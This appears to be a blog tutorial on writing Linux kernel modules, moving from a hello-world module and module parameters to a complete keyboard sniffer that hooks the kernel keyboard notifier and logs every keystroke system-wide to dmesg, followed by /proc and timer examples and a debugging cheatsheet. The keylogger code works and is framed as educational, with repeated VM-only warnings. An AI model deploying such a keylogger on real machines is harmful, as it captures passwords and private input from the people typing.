Master Computer Science The Smart Way

Writing a Linux Kernel Module in 30 Minutes: Hello World to Keyboard Sniffer

Writing a Linux Kernel Module in 30 Minutes: Hello World to Keyboard Sniffer
0

Before You Start: Safety Warning

⚠️ KERNEL MODULES CAN:
  - Crash your entire system
  - Corrupt filesystems
  - Create security holes (keyboard sniffer!)
  
✅ ONLY RUN IN:
  - Virtual machine (VirtualBox/VMware)
  - Spare test machine
  - WSL2 (limited hardware access)

Part 1: Hello World Kernel Module (10 minutes)

Step 1: Setup and prerequisites

bash

# Install kernel headers
sudo apt install linux-headers-$(uname -r) build-essential

# Create working directory
mkdir ~/kernel_module && cd ~/kernel_module

Step 2: Write hello.c

c

#include <linux/init.h>      // module_init, module_exit
#include <linux/module.h>    // THIS_MODULE, MODULE_LICENSE
#include <linux/kernel.h>    // printk

// Runs when module loads
static int __init hello_init(void)
{
    printk(KERN_INFO "Hello, Kernel! Module loaded.\n");
    printk(KERN_ALERT "ALERT: This is a kernel message!\n");
    return 0;  // 0 = success, negative = error
}

// Runs when module unloads
static void __exit hello_exit(void)
{
    printk(KERN_INFO "Goodbye, Kernel! Module unloaded.\n");
}

// Register init/exit functions
module_init(hello_init);
module_exit(hello_exit);

// License (required, affects kernel taint)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("A simple Hello World kernel module");

Step 3: Write Makefile

makefile

obj-m += hello.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Note: Lines must start with TAB, not spaces.

Step 4: Build and test

bash

make                    # Build module → hello.ko
sudo insmod hello.ko    # Insert module into kernel
sudo rmmod hello        # Remove module
dmesg | tail -5         # See kernel messages

Expected output:

text

[12345.678] Hello, Kernel! Module loaded.
[12345.679] ALERT: This is a kernel message!
[12346.123] Goodbye, Kernel! Module unloaded.

Part 2: Parameterized Module (5 minutes)

Add input parameters so users can configure your module.

param.c

c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>

static int age = 25;
static char *name = "Anonymous";
static int arr[3] = {0,0,0};
static int arr_count;

module_param(age, int, S_IRUGO);           // read-only for users
module_param(name, charp, S_IRUGO);        // string parameter
module_param_array(arr, int, &arr_count, S_IRUGO);

MODULE_PARM_DESC(age, "Your age (integer)");
MODULE_PARM_DESC(name, "Your name (string)");
MODULE_PARM_DESC(arr, "Array of integers");

static int __init param_init(void)
{
    printk(KERN_INFO "Name: %s, Age: %d\n", name, age);
    for (int i = 0; i < arr_count; i++)
        printk(KERN_INFO "arr[%d] = %d\n", i, arr[i]);
    return 0;
}

static void __exit param_exit(void) { }

module_init(param_init);
module_exit(param_exit);
MODULE_LICENSE("GPL");

Usage:

bash

make
sudo insmod param.ko age=30 name="Alice" arr=10,20,30
dmesg | tail
# Output: Name: Alice, Age: 30, arr[0]=10, arr[1]=20, arr[2]=30

Part 3: Keyboard Sniffer (15 minutes — Educational Only)

⚠️ WARNING: This captures keystrokes system-wide. Never use maliciously. This is for kernel education only.

How it works

text

Keyboard hardware → IRQ → Input subsystem → /dev/input/event* → Userspace
                           ↑
                    Our hook intercepts here

keyboard_sniffer.c

c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/input.h>
#include <linux/keyboard.h>
#include <linux/notifier.h>

static struct notifier_block keyboard_notifier;

// This function runs on EVERY keypress (system-wide!)
static int keyboard_callback(struct notifier_block *nblock, 
                              unsigned long code, 
                              void *_param)
{
    struct keyboard_notifier_param *param = _param;
    
    if (code == KBD_KEYCODE) {
        // param->down = 1 for press, 0 for release
        // param->value = scan code
        // param->shift = modifier keys (Ctrl, Alt, etc.)
        
        char key_sym = param->down ? '↓' : '↑';
        printk(KERN_INFO "KEY: scancode=%d, %s, shift=0x%x\n",
               param->value,
               param->down ? "PRESS" : "RELEASE",
               param->shift);
        
        // Try to convert scancode to ASCII (simplified)
        static const char *keymap[] = {
            "", "ESC", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0",
            "-", "=", "BS", "TAB", "q", "w", "e", "r", "t", "y", "u", "i",
            "o", "p", "[", "]", "ENTER", "CTRL", "a", "s", "d", "f", "g",
            "h", "j", "k", "l", ";", "'", "`", "LSHIFT", "\\", "z", "x",
            "c", "v", "b", "n", "m", ",", ".", "/", "RSHIFT"
        };
        
        if (param->value < 59 && param->down) {
            printk(KERN_ALERT "CHAR: %s\n", keymap[param->value]);
        }
    }
    
    return NOTIFY_OK;  // Let other handlers process too
}

static int __init sniffer_init(void)
{
    keyboard_notifier.notifier_call = keyboard_callback;
    
    // Register to receive ALL keyboard events
    int ret = register_keyboard_notifier(&keyboard_notifier);
    
    if (ret) {
        printk(KERN_ERR "Failed to register keyboard notifier!\n");
        return ret;
    }
    
    printk(KERN_ALERT "=== KEYBOARD SNIFFER ACTIVE ===");
    printk(KERN_ALERT "All keystrokes will be logged to dmesg!");
    return 0;
}

static void __exit sniffer_exit(void)
{
    unregister_keyboard_notifier(&keyboard_notifier);
    printk(KERN_INFO "Keyboard sniffer removed.");
}

module_init(sniffer_init);
module_exit(sniffer_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Educational keyboard sniffer - DO NOT USE MALICIOUSLY");

Test it safely (in VM only)

bash

make
sudo insmod keyboard_sniffer.ko
# Now type anything on keyboard
dmesg -w | grep "CHAR"

# You'll see every key you type:
# [12345.678] CHAR: a
# [12345.679] CHAR: b
# [12345.680] CHAR: c

sudo rmmod keyboard_sniffer

Common Kernel Module Patterns

Pattern 1: Creating /proc entry

c

#include <linux/proc_fs.h>

static struct proc_dir_entry *proc_entry;

static ssize_t proc_read(struct file *file, char __user *ubuf, 
                         size_t count, loff_t *ppos)
{
    char msg[] = "Hello from kernel!\n";
    size_t len = strlen(msg);
    
    if (*ppos >= len) return 0;
    if (count > len - *ppos) count = len - *ppos;
    
    if (copy_to_user(ubuf, msg + *ppos, count))
        return -EFAULT;
    
    *ppos += count;
    return count;
}

static const struct proc_ops proc_fops = {
    .proc_read = proc_read,
};

static int __init proc_init(void)
{
    proc_entry = proc_create("mykernel", 0444, NULL, &proc_fops);
    return 0;
}

static void __exit proc_exit(void)
{
    proc_remove(proc_entry);
}

Read from userspace: cat /proc/mykernel

Pattern 2: Timer/Interval Work

c

#include <linux/timer.h>

static struct timer_list my_timer;

void timer_callback(struct timer_list *t)
{
    printk(KERN_INFO "Timer fired at jiffies=%lu\n", jiffies);
    mod_timer(&my_timer, jiffies + msecs_to_jiffies(1000));
}

static int __init timer_init(void)
{
    timer_setup(&my_timer, timer_callback, 0);
    mod_timer(&my_timer, jiffies + msecs_to_jiffies(1000));
    return 0;
}

Debugging Kernel Modules

Essential commands

bash

# View kernel messages (live)
dmesg -w

# Clear dmesg buffer
sudo dmesg -c

# Check if module loaded
lsmod | grep mymodule

# Module details
modinfo hello.ko

# Remove stuck module (even if refcount stuck)
sudo rmmod --force mymodule  # UNSAFE, last resort

# Find all loaded modules
cat /proc/modules

Common errors and fixes

ErrorLikely causeFix
Unknown symbolMissing EXPORT_SYMBOLUse kernel doc or recompile
Invalid module formatWrong kernel versionuname -r and rebuild
Device or resource busyModule still in uselsmod | grep find users
Operation not permittedSecure Boot enabledSign module or disable SB

The 5-Minute Cheatsheet

bash

# Build system
make                    # Compile .ko file
make clean             # Remove build artifacts

# Module lifecycle
sudo insmod module.ko [param=value]   # Load
sudo rmmod module                      # Unload
sudo modprobe module                   # Load with deps (from /lib/modules)

# Info
lsmod                  # List loaded modules
modinfo module.ko      # Show metadata
dmesg | tail           # Last kernel messages

# Remove all test modules
sudo rmmod hello param keyboard_sniffer 2>/dev/null

What to Do Next (Real Projects)

  1. Character device driver — create /dev/mychardev that echo works with
  2. System call interceptor — track all open() calls
  3. Network filter — block certain IPs with netfilter
  4. Filesystem monitor — notify when files are created/deleted

Final Warning (Read This)

text

┌─────────────────────────────────────────────────────────┐
│  🔴 DO NOT LOAD KEYBOARD SNIFFER ON:                    │
│     - Your main workstation                             │
│     - A production server                               │
│     - Any computer you don't own                        │
│     - A shared system                                   │
│                                                          │
│  ✅ ONLY USE IN:                                        │
│     - Virtual machine with no sensitive data            │
│     - Air-gapped test machine                           │
│     - Classroom lab environment                         │
│                                                          │
│  Legal note: Keyloggers are illegal in many contexts.   │
│  This code is for kernel education ONLY.                │
└─────────────────────────────────────────────────────────┘

Key Takeaways

  • Kernel modules run in ring 0 (full hardware access)
  • printk() = kernel’s printf (use dmesg to see)
  • Always return 0 from __init on success, negative on error
  • Every module needs MODULE_LICENSE("GPL")
  • Test in VM first or face kernel panics
Leave A Reply

Your email address will not be published.